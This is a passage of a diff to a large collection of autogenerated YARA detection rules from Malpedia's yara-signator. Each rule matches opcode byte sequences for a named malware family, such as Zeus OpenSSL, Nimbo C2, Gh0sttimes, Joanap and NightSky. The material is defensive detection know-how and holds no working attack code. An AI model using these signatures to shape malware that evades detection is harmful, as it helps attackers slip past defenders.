84c0 746c e8???????? 488d0d63080000 e8???????? } condition: - 7 of them and filesize < 402432 + 7 of them and filesize < 7450624 } -rule MALPEDIA_Win_Helauto_Auto : FILE +rule MALPEDIA_Win_Zeus_Openssl_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b795cd97-f81e-5b0c-b86f-eb6142e4a506" + id = "d31ed497-e4a7-5163-b5e5-7492582406ac" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.helauto_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_openssl_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "77b1dbe0537fbb57df2196994395215daf625d1b39e62bbfe2e9527b9343a123" + logic_hash = "16a4630d182e49d69e9e6276c110ddae0774c12808dbb665512c7a33855cd109" score = 75 quality = 75 tags = "FILE" @@ -89549,32 +89575,32 @@ rule MALPEDIA_Win_Helauto_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c0 8d7dc0 895dbc f3ab 8b4510 69c0f4010000 } - $sequence_1 = { 753b 6a08 be???????? 59 8d7d98 f3a5 } - $sequence_2 = { ff75f0 ff15???????? 8b45f4 8b7dec 2b4510 } - $sequence_3 = { 68???????? 8d85a8f9ffff 50 e8???????? 8d85a8f9ffff } - $sequence_4 = { 53 8d85a8f8ffff 68???????? 50 e8???????? } - $sequence_5 = { 50 6a1f ff75fc ffd6 8d45c8 57 50 } - $sequence_6 = { 53 53 6a01 53 8d8528feffff 53 } - $sequence_7 = { 59 0f85b3000000 53 6a08 } - $sequence_8 = { 6a01 58 c20c00 b8???????? e8???????? 81ec00010000 } - $sequence_9 = { 6a1f ff75fc 897dc4 ff15???????? 8b35???????? 804ddd01 } + $sequence_0 = { 8bf8 05fffeffff 4e 03c6 } + $sequence_1 = { 0181a8160000 837de000 7419 8b75e0 8b45f0 0fb7443002 8b75f8 } + $sequence_2 = { 2bc3 8bda 8b55c4 83c005 894304 8b45f0 2bd6 } + $sequence_3 = { 6a1c 8945f0 8845ff 8bfa 32c0 59 } + $sequence_4 = { 8bec 83ec10 53 56 57 8b3d???????? 33db } + $sequence_5 = { 83ec0c 56 57 8bf2 8bf9 e8???????? } + $sequence_6 = { 83c408 8b87bc160000 894df8 83f810 7530 8b4f14 } + $sequence_7 = { 743b 83ef50 7412 83ef75 742a } + $sequence_8 = { 89475c e8???????? 8b0f 33c0 394110 5f } + $sequence_9 = { 8b45fc 48 50 8d9694000000 8bce } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 4546560 } -rule MALPEDIA_Win_Fishmaster_Auto : FILE +rule MALPEDIA_Win_Synflooder_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "85781cdb-ef0a-5ba4-9f1c-a71e1fb971a5" + id = "9b4db3a4-161f-5f48-96b1-18c835e76606" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fishmaster_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.synflooder_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "fa4353e268ca10ee73320d72c1e5a21f512b82d4c18bb38fa107cace5c168150" + logic_hash = "71981dc7d5e3732f6bffc2a9248cb281eeec7fbd198e397f9ba4db0beb4f7d0b" score = 75 quality = 75 tags = "FILE" @@ -89588,71 +89614,71 @@ rule MALPEDIA_Win_Fishmaster_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b9e8030000 ff15???????? 4c89742450 48c74424580f000000 } - $sequence_1 = { 8d45fd 4863c8 460fbe0401 418d40bf 3c19 7706 } - $sequence_2 = { 7203 4c8b03 8d45ff 4863c8 } - $sequence_3 = { 488d0d25310000 0f57c0 488d5308 48890b 488d4808 0f1102 ff15???????? } - $sequence_4 = { 488bcb 41ffd5 90 488b5558 4883fa10 7234 } - $sequence_5 = { ba05000020 488bcb ff15???????? 488bcb ff15???????? c744243000010000 } - $sequence_6 = { 488d054d2a0000 c3 8325????????00 c3 48895c2408 55 } - $sequence_7 = { 4983f910 7203 4c8b03 8d45ff 4863c8 460fbe0401 418d40bf } - $sequence_8 = { 83f828 7309 33c9 ff15???????? cc } - $sequence_9 = { 4883f801 721c 488d4101 48894310 4883fa10 488bc3 7203 } + $sequence_0 = { 762a 56 e8???????? 8d0445f4f34000 8bc8 } + $sequence_1 = { 8be5 5d c3 8b35???????? b802000000 6a50 668944242c } + $sequence_2 = { 8bec 8b4508 ff34c580e44000 ff15???????? 5d } + $sequence_3 = { 0f8f0b010000 33f6 85db 7e1b 8bff e8???????? 0fbec0 } + $sequence_4 = { 8a13 0fb6ca 0fbe8910ee4000 85c9 } + $sequence_5 = { 897e70 c686c800000043 c6864b01000043 c74668f0e54000 } + $sequence_6 = { 03048d20fc4000 eb02 8bc2 f6402480 } + $sequence_7 = { 33c5 8945fc 8d8568faffff 50 6a02 ff15???????? } + $sequence_8 = { c7470640008006 8b44242c 50 ff15???????? } + $sequence_9 = { 897df4 85ff 75d1 53 e8???????? 8b45f0 } condition: - 7 of them and filesize < 812032 + 7 of them and filesize < 163840 } -rule MALPEDIA_Win_Floki_Bot_Auto : FILE +rule MALPEDIA_Win_Excalibur_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "25c81d04-9abf-5940-8e55-7e5abeb99153" - date = "2024-10-31" - modified = "2024-11-11" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.floki_bot_auto.yar#L1-L131" + id = "6324643e-ef25-5303-a7ee-e63ea03ca117" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.excalibur_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "e2f9df61c4df036b71f6882cf4c35419384506db07aa4de7d79fcad14d6710ad" + logic_hash = "59d59e89202157c635015f906929dcafdfae271957da35e098ac970aa56a977d" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20241030" - malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" - malpedia_version = "20241030" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { fe45ff 8a45ff 3a45fc 7285 fe45fe 8a45fe 3a4601 } - $sequence_1 = { 8bc6 8d74241c e8???????? 84c0 0f843f010000 8b442414 } - $sequence_2 = { 53 57 8bf8 8d45f8 50 33db } - $sequence_3 = { 8b4c2414 0fb713 83fa04 7516 663911 7507 8b4d10 } - $sequence_4 = { 50 53 ff35???????? 682d010000 e8???????? 83c418 } - $sequence_5 = { 50 e8???????? ff471c 015f14 8bc6 8b55fc e8???????? } - $sequence_6 = { bf???????? e8???????? ff75f0 84c0 7407 e8???????? eb08 } - $sequence_7 = { 8d45f4 50 e8???????? 6a09 6a00 8d45f4 50 } - $sequence_8 = { 744d 66391f 7448 8d4c2440 e8???????? 6a04 8d544444 } - $sequence_9 = { 84c0 744b 8b45f8 85c0 7414 ff75ec e8???????? } + $sequence_0 = { 8b4d08 33c0 663b88e4954300 740d 83c002 83f814 72ef } + $sequence_1 = { eb44 8d0492 c1e003 50 8b450c 50 8b00 } + $sequence_2 = { ffd0 83c408 894734 85c0 74de 8b5f14 } + $sequence_3 = { 83793800 7503 83cf04 83e717 89790c 857910 7407 } + $sequence_4 = { 33c4 89442420 8b4508 8944240c 8b450c 53 8b5810 } + $sequence_5 = { 0f43c2 8d8d4cffffff 8a0430 8885f8feffff ffb5f8feffff 6a01 } + $sequence_6 = { 6685c0 75f5 56 8d85d8f9ffff 2bd9 } + $sequence_7 = { 48 894604 8b06 40 8a48ff 8906 84c9 } + $sequence_8 = { 8945bc 8b45c8 8955e4 8b4020 c745e800000000 } + $sequence_9 = { 8d4c245c e8???????? 84c0 7433 68???????? 8d8c2490000000 e8???????? } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 1253376 } -rule MALPEDIA_Win_Bottomloader_Auto : FILE +rule MALPEDIA_Win_Nimbo_C2_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bdd8fe32-22cd-5060-a395-421a392e2bd1" + id = "2024fcd8-73ff-5d21-84a0-faeb93ed391a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bottomloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bottomloader_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimbo_c2_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "b7681a0b4dfc773cac57468dbf0ac81e795dbff01a4fc0df233a09abd9d3252c" + logic_hash = "6b113df7136733641a874652387013b524eae7ec4a37b82db2a8e2b046f0820e" score = 75 quality = 75 tags = "FILE" @@ -89666,32 +89692,32 @@ rule MALPEDIA_Win_Bottomloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 488d3537d60700 488975c8 48c745c00e000000 488d4dc0 e8???????? 488d051bd60700 } - $sequence_1 = { e8???????? 4889c6 488d0579400600 488945c8 48c745c016000000 488d55c0 48899578feffff } - $sequence_2 = { 48897de8 e8???????? 4889c7 4885ff 746f 488d0ddcda0700 e8???????? } - $sequence_3 = { 4889bdd8fdffff 8b05???????? 65488b0c2558000000 488b14c1 bbf0090000 4c8b441a08 4c0b041a } - $sequence_4 = { 488975f8 488d55f0 488d8d70ffffff e8???????? 488d8d70ffffff e8???????? 488b9d60ffffff } - $sequence_5 = { ba43010000 488d0d57dc0700 e8???????? 4d8b542408 410fb63412 eb05 beff000000 } - $sequence_6 = { 488d0dc5800b00 4883ec20 e8???????? 4883c420 48898550ffffff 48899558ffffff 4c8b8550ffffff } - $sequence_7 = { c3 48895518 488d058b140b00 488945f8 48c745f027000000 488d55f0 8bce } - $sequence_8 = { 7442 4883fa02 7472 e9???????? 4d8bc4 488d5520 488d8db0feffff } - $sequence_9 = { 4531c0 ba86100000 488d0db8fd0500 e8???????? 4a8d0c0b 488b55f8 e8???????? } + $sequence_0 = { 7411 488b09 ba02000000 e8???????? c6430800 4883c420 5b } + $sequence_1 = { 48c7c0fcffffff 4885d2 7407 488b02 4883e804 488d4c0210 ba04000000 } + $sequence_2 = { 498d8c24b0000000 4889c2 e8???????? 4c89e0 41c68424b800000001 4883c420 } + $sequence_3 = { 4819db 4889c1 488985c0feffff e8???????? 83e313 488d8df8feffff 4881c306000200 } + $sequence_4 = { e8???????? 90 4883c438 c3 488b05???????? 48ff20 488b05???????? } + $sequence_5 = { 7f1c 488b8df8fbffff e8???????? 4889f2 4989c7 4885c0 7432 } + $sequence_6 = { 6605bb01 488b4c2450 0fb7d0 41b901000000 41b806000000 e8???????? 4889d9 } + $sequence_7 = { 4889c6 4d85f6 740d 4889fa 4c89f1 e8???????? eb07 } + $sequence_8 = { 4889c2 eb28 4d8d46ff 4c89e1 e8???????? 4c89f9 4889c2 } + $sequence_9 = { 57 56 53 4883ec20 488bb42488000000 4c8b32 4889f5 } condition: - 7 of them and filesize < 1955840 + 7 of them and filesize < 1141760 } -rule MALPEDIA_Win_Auriga_Auto : FILE +rule MALPEDIA_Win_Unidentified_088_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "34318cf5-8b0c-5480-b67c-27a4f4ec96e2" + id = "b80a2357-b2b4-5f14-a95d-1e325e626d53" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.auriga_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_088_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "916cc30b11a1636c868f6de19248b0e5c25381e64e7d76c56c161fbf71269000" + logic_hash = "78ec2fb1a46515f7a2bd494609b3c1be4370bea522de5daa065ff46bd4f8b68d" score = 75 quality = 75 tags = "FILE" @@ -89705,71 +89731,71 @@ rule MALPEDIA_Win_Auriga_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 59 8945fc 897df8 763a } - $sequence_1 = { 83c10c 894df4 8b11 3b15???????? 755b 8bd0 2b55fc } - $sequence_2 = { ffd7 33c0 8985c0fbffff 8985ccfbffff 8985d0fbffff 8d85bcfbffff } - $sequence_3 = { 33c0 83c40c 8d7dec ab ab 33c0 6a20 } - $sequence_4 = { 59 648b01 8b400c 8b701c ad 8b4008 } - $sequence_5 = { 742d 8b430c 8b580c 53 ffd7 84c0 7420 } - $sequence_6 = { 8b0d???????? 03c1 3900 74f0 8b15???????? 56 } - $sequence_7 = { 59 59 8945fc 897df8 763a 8b45e8 03c7 } - $sequence_8 = { 0f8ce7010000 8d85e8f9ffff 50 8d85e0f9ffff } - $sequence_9 = { 8945e8 a1???????? 8b1c30 8bfb 8d45f0 8d5001 8a08 } + $sequence_0 = { 8b0e e8???????? 89c7 31c0 85f6 7402 8b06 } + $sequence_1 = { 8b0a 0faf0e 01c6 e9???????? 3b5de0 0f8f78010000 8b470c } + $sequence_2 = { c74424085b040000 8b4dd4 ba???????? c7442404???????? c70424???????? e8???????? 83ec0c } + $sequence_3 = { 8b08 e8???????? 8945a0 8b4508 8b00 8b00 85c0 } + $sequence_4 = { c78564ffffff00000000 eb62 76bb 89c7 890424 c1ff1f c744241017000000 } + $sequence_5 = { b8a1b0b912 8b4dd0 83cbff 8901 85f6 0f849a000000 8b16 } + $sequence_6 = { c745d400000000 31db 8945bc 8b4dbc 394dd4 7c17 } + $sequence_7 = { e8???????? eb2e 898554ffffff e8???????? 8b8554ffffff 83f816 7ed2 } + $sequence_8 = { c21000 55 b9???????? 89e5 83ec08 e8???????? b9???????? } + $sequence_9 = { 83ec0c e8???????? 8b4dc0 8b5dc4 8d75d8 } condition: - 7 of them and filesize < 75776 + 7 of them and filesize < 919552 } -rule MALPEDIA_Win_Dma_Locker_Auto : FILE +rule MALPEDIA_Elf_Gobrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0add9e5f-70eb-5058-aac8-c8618a1495ef" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dma_locker_auto.yar#L1-L124" + id = "9cb05d8e-88df-5069-9152-096fc77aac24" + date = "2024-10-31" + modified = "2024-11-11" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.gobrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.gobrat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "a7ffbc7fbe47962bc61977330ab1a66fd9d8632edda819d321196bb89e9e7e32" - score = 75 - quality = 75 + logic_hash = "29d6047280b8adce38a5f6a7e3d8112ab4747228198bdfc531ab746feecbff32" + score = 60 + quality = 35 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20241030" + malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" + malpedia_version = "20241030" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8bf0 85f6 0f84ab000000 e8???????? } - $sequence_1 = { 83c404 83c310 ff4c2414 89470c 8b7c2410 758d } - $sequence_2 = { ff15???????? 85c0 7404 c6461801 } - $sequence_3 = { 50 6a00 56 6a19 68fe010000 6894020000 6854010000 } - $sequence_4 = { 6a01 6a00 6a00 6a00 688a020000 6a00 6a00 } - $sequence_5 = { e8???????? 8bf8 83c408 85ff 7425 8b45e4 } - $sequence_6 = { 53 e8???????? 84c0 744f 686c060000 e8???????? 83c404 } - $sequence_7 = { eb0e 8b4810 8b7808 bb2b000000 894df8 33f6 56 } - $sequence_8 = { 6683f87f 8d642408 0f85be730000 eb00 f30f7e442404 } - $sequence_9 = { 83c408 85f6 0f840e040000 56 32db e8???????? } + $sequence_0 = { e8???????? 4889fa e9???????? 488d842400010000 488d1d22cf1700 b90b000000 488bbc2420020000 } + $sequence_1 = { e8???????? 488b842408010000 488b9c2400010000 488b4c2468 e8???????? e9???????? 4883f917 } + $sequence_2 = { 8d3431 8d76c6 0f1f440000 4883fa06 0f83bf000000 440fb644145c 4131f0 } + $sequence_3 = { e8???????? 488b5c2460 e8???????? 488b6c2448 4883c450 c3 4889442408 } + $sequence_4 = { e8???????? 488d3d2cd23b00 e8???????? 488b6c2478 4883ec80 c3 4889ca } + $sequence_5 = { ebd5 31f6 90 e8???????? ebcb 498b5010 4839d1 } + $sequence_6 = { e8???????? 488b442430 48ffc0 488b5c2420 4883c3fe 488b9424a8010000 488bb42458010000 } + $sequence_7 = { f20f10442428 f20f5e05???????? f20f114040 488b542450 6690 4883fa08 7e3f } + $sequence_8 = { e8???????? 6690 4885c9 0f8578010000 488d0d90371500 4839c8 7505 } + $sequence_9 = { e8???????? 488b6d00 488d05225c0500 488d4c2470 e8???????? 31c0 eb28 } condition: - 7 of them and filesize < 532480 + 7 of them and filesize < 12853248 } -rule MALPEDIA_Win_Ghole_Auto : FILE +rule MALPEDIA_Win_Gh0Sttimes_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "42011619-6775-5fd7-9f1a-e781b1936bb7" + id = "aa640a7c-0e1b-5efd-8935-4547c6b03367" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghole_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gh0sttimes_auto.yar#L1-L158" license_url = "N/A" - logic_hash = "0d47b012ca3e41e041f7c9334a8bf5ea912b5069ddcb6bf59ee419c3c1cf9dc4" + logic_hash = "9c8e02eeb25677ec870ad4e3ac6e852e1b0822d6bc7051594b5abb6da5a926f8" score = 75 quality = 75 tags = "FILE" @@ -89783,32 +89809,38 @@ rule MALPEDIA_Win_Ghole_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48 89c7 e8???????? c745cc00000000 c745b800000000 eb14 c78540ffffffe9030000 } - $sequence_1 = { 8878e0 49 8be9 45 8be0 44 8bea } - $sequence_2 = { 89f8 f7d0 89d9 21c1 48 8b45d0 48 } - $sequence_3 = { 83ec30 48 897dd8 48 8975d0 48 8b45d0 } - $sequence_4 = { 7509 83bdecf6ffffff 7448 8b855cffffff 80cc01 89855cffffff } - $sequence_5 = { 48 8b4040 48 8945f0 48 8b45f0 48 } - $sequence_6 = { 8b5010 8b45f8 0345fc 89c0 48 01c2 48 } - $sequence_7 = { 8b4008 8b55e4 48 8b4de8 48 89ce 48 } - $sequence_8 = { 48 89c7 e8???????? 85c0 7515 8b55f8 48 } - $sequence_9 = { 48 8b1d???????? 48 8b55a0 48 8b45c0 48 } + $sequence_0 = { 8bce 8bd6 8d85e0fdffff e8???????? 8b9dd8fdffff 56 } + $sequence_1 = { b804000000 8bcf 81f3d2b5a2c3 e8???????? } + $sequence_2 = { ff15???????? 8b5604 895608 ba00040000 } + $sequence_3 = { 894608 8b85e4fdffff 8b8de8fdffff 40 } + $sequence_4 = { 57 ff15???????? 8d443801 50 57 ff15???????? } + $sequence_5 = { 8b82ac000000 6a00 57 56 50 } + $sequence_6 = { ffd6 8b95f0fcffff 8b3d???????? 52 ffd7 68f4010000 } + $sequence_7 = { 753a 50 50 8d4d8c 51 50 } + $sequence_8 = { 488bcf e8???????? b902020000 488d542440 ff15???????? } + $sequence_9 = { 32c0 e9???????? 833d????????00 4889bc24e8000000 7412 } + $sequence_10 = { 48c747300f000000 48897728 488bcf 40887718 } + $sequence_11 = { 84c0 7515 488d8c24a0010000 e8???????? } + $sequence_12 = { 33d2 4d8b8938010000 4889442428 33c9 } + $sequence_13 = { 498d9550010000 498d8d98000000 41b804000000 e8???????? 498d8d00010000 } + $sequence_14 = { 03c2 0fb6c0 2bc2 410fb652fe } + $sequence_15 = { 48895c2408 4889742420 57 4881ecd0040000 } condition: - 7 of them and filesize < 622592 + 7 of them and filesize < 548864 } -rule MALPEDIA_Win_Crylocker_Auto : FILE +rule MALPEDIA_Win_Jssloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8c49832e-3a15-5c26-a16b-f08cf4de197b" + id = "7148d41e-3b6b-5706-b0f5-a23188997a17" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crylocker_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jssloader_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "9984a5545190dc600307a66e2e0bae93c274e609548786d31df4138b67fc5f5d" + logic_hash = "ffccc96c8251d57f1e22bfb5c0a6de3c234295ba8c011aea9715fb2c8123c39a" score = 75 quality = 75 tags = "FILE" @@ -89822,32 +89854,32 @@ rule MALPEDIA_Win_Crylocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d542408 68c5090000 52 e8???????? 8d442410 68???????? } - $sequence_1 = { ff15???????? 6afe e8???????? 83c404 5f 5e } - $sequence_2 = { 56 8da42400000000 8b44241c 8bf7 } - $sequence_3 = { 53 33ff ff15???????? 8bf0 3bf3 762e 3bfb } - $sequence_4 = { 8b7c242c 8b7704 50 e8???????? 8b4c2440 8bd8 51 } - $sequence_5 = { 8d442430 50 e8???????? 8d4c2434 68???????? 51 e8???????? } - $sequence_6 = { 50 50 8b44244c 50 6a00 6a00 56 } - $sequence_7 = { 50 894608 e8???????? 83c414 eb76 } - $sequence_8 = { 81c4cc000000 c3 5f 5e 5d b8fdffffff 5b } - $sequence_9 = { e8???????? 8d4c2408 6aff 51 e8???????? 8d542410 6a02 } + $sequence_0 = { 3d55555515 0f846b010000 8b4b08 8d7001 2bcf b8abaaaa2a f7e9 } + $sequence_1 = { c645cc00 898570feffff 3bf0 7432 8bbd64feffff 8b4de4 03cf } + $sequence_2 = { 8d4de4 e8???????? 8a75d7 8b75e8 8b5dec 8b45c4 } + $sequence_3 = { 7e0f 803c0f22 0f84d6000000 41 3bc8 7cf1 33c0 } + $sequence_4 = { c785bcfdffff00000000 c785c0fdffff0f000000 c685acfdffff00 83fa10 722f 8b8d64fdffff 42 } + $sequence_5 = { 83c404 85c0 0f844a010000 8d7823 83e7e0 8947fc eb13 } + $sequence_6 = { c7805413440002000000 6a04 58 6bc000 8b0d???????? 894c05f8 6a04 } + $sequence_7 = { c745c800000000 c645fc02 3b4dec 741a 33d2 33f6 8911 } + $sequence_8 = { 8875d7 3bf9 7408 8817 47 897de8 eb13 } + $sequence_9 = { b8abaaaa2a 2bcf 895df0 f7e9 8b4b04 c1fa03 2bcf } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 581632 } -rule MALPEDIA_Win_Saint_Bot_Auto : FILE +rule MALPEDIA_Win_Joanap_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9b3de383-83bb-59eb-ab8e-cf55885e5316" + id = "59ddd497-e48f-5e4c-aaa1-e68a7dcd2888" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.saint_bot_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.joanap_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "c120f50dc769e408884483c5952b8e78bb4b0a03aaa97a8ecb7b623ae2701d23" + logic_hash = "2db58924366bc00afcca8a8ac59fc7a0399fb6bba1dea50a7dd31138b4827114" score = 75 quality = 75 tags = "FILE" @@ -89861,32 +89893,32 @@ rule MALPEDIA_Win_Saint_Bot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 ff15???????? 6800018000 eb11 6a50 } - $sequence_1 = { 668975d4 8d4508 33f6 c745b418000000 683f000f00 50 } - $sequence_2 = { 3d2b040000 7415 3d3f040000 740e } - $sequence_3 = { 8945f8 e8???????? 68???????? 8945f0 } - $sequence_4 = { 56 ff15???????? ff15???????? 3db7000000 741c } - $sequence_5 = { 58 6a6e 668945f0 58 6a74 668945f2 } - $sequence_6 = { 6a00 56 68???????? 53 ff15???????? 8bf0 } - $sequence_7 = { 897dec 897df8 ffd6 6808020000 57 8bd8 ffd6 } - $sequence_8 = { ff75dc ffd6 ff75d4 ffd6 e8???????? } - $sequence_9 = { ffd6 ff75f0 ffd6 ff75f4 ffd6 ff75f8 ffd6 } + $sequence_0 = { 89510c 8b0d???????? dd442418 dd5c0810 8d9c2488030000 c744241432000000 8b43f0 } + $sequence_1 = { 8d4c240a 6a01 51 56 ff15???????? 6a00 } + $sequence_2 = { 8844241a 8844241b a1???????? 89442408 8b8590010000 33d2 56 } + $sequence_3 = { 8b3d???????? 8d4c2414 51 56 ffd7 85c0 a3???????? } + $sequence_4 = { 8d8c24b0000000 51 56 ffd7 85c0 a3???????? 750c } + $sequence_5 = { 893d???????? ff15???????? 8b842494000000 6a01 6820bf0200 53 66c74304feff } + $sequence_6 = { 66c74424380040 e8???????? 83c414 83f8ff 0f8468010000 668b4610 6689442424 } + $sequence_7 = { 83c404 eb58 8d4e03 51 e8???????? 83c404 eb4a } + $sequence_8 = { 8bac2424100000 8b3d???????? 8b1d???????? 894820 6a01 } + $sequence_9 = { 6a01 6820bf0200 8d442418 6a04 50 56 } condition: - 7 of them and filesize < 93184 + 7 of them and filesize < 270336 } -rule MALPEDIA_Win_Hopscotch_Auto : FILE +rule MALPEDIA_Win_Nightsky_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e03bc4c7-2cba-5076-a6ca-4697985738a4" + id = "49806bb3-db04-5175-bd2d-05a084f5301e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hopscotch" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hopscotch_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightsky_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "9400f209885075e787eb0bd6132b5f0672b265a98357e610aebd52f7df050985" + logic_hash = "58c0a44a79ed929ad206a6701f3a4c117bf07ad9e9a507d5d3b0ad9c115c5cd3" score = 75 quality = 75 tags = "FILE" @@ -89900,34 +89932,34 @@ rule MALPEDIA_Win_Hopscotch_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d0480 8d0480 c1e002 50 ffd7 } - $sequence_1 = { 55 ffd3 8bf0 85f6 0f8569ffffff 68???????? e8???????? } - $sequence_2 = { a1???????? 83c420 85c0 5f 5e 5b } - $sequence_3 = { 6800800000 